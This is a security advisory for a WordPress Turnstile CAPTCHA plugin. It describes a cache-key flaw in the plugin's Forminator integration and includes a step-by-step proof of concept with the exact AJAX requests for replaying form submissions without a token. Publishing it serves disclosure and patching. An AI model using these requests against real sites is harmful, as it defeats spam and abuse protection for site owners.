Simple CAPTCHA with Cloudflare Turnstile < 1.42.0 – Unauthenticated Turnstile Protection Bypass via Reusable Forminator Cache Key | CVE 2026-15239

Description

The plugin does not bind its Turnstile validation cache to the single-use challenge token in its Forminator integration, instead keying it to an attacker-controlled, reusable request value, allowing unauthenticated attackers to solve one challenge and then replay token-less form submissions for a short window, defeating the anti-abuse protection the plugin provides.

Proof of Concept

Prerequisite: the plugin active with its Forminator integration enabled (cfturnstile_forminator=1) and the admin key-test completed (cfturnstile_tested=yes, the normal state for any site actually relying on the plugin for protection); Forminator active with any public form. Cloudflare Turnstile TEST keys are used so one dummy token validates; on a real site the attacker solves the widget once for one real token. form_uid is any attacker-chosen string; the Forminator nonce is public (rendered on the form page).

All requests are unauthenticated POSTs to /wp-admin/admin-ajax.php with:
action=forminator_submit_form_custom-forms&form_id=<id>&forminator_nonce=<public nonce>&render_id=0&page_id=<page>&form_type=default&text-1=spam
plus form_uid, and (only in step 2) the token.

Step 1 - Baseline (chosen form_uid, NO token) => BLOCKED
  form_uid=ATTACKER1
  => {"success":false, ... "message":"Error: Your form is not valid, please fix the errors!"}

Step 2 - Poison (same form_uid + one valid token) => ACCEPTED, cache set
  form_uid=ATTACKER1 & cf-turnstile-response=XXXX.DUMMY.TOKEN.XXXX
  => {"success":true, ... "message":"Form entry saved"}

Step 3 - Bypass (same form_uid, NO token, replayed 3x) => ACCEPTED every time
  form_uid=ATTACKER1
  => {"success":true, ...}

Step 4 - Negative control (fresh unseen form_uid, NO token) => BLOCKED
  form_uid=NEVERSOLVED
  => {"success":false, ...}

The 5-minute transient is keyed to md5(form_id|form_uid) (not the single-use token) and is not cleared on read, so one solve enables unlimited token-less submissions for 5 minutes. Step 4 proves acceptance is caused by the reusable cache key, not a global open state.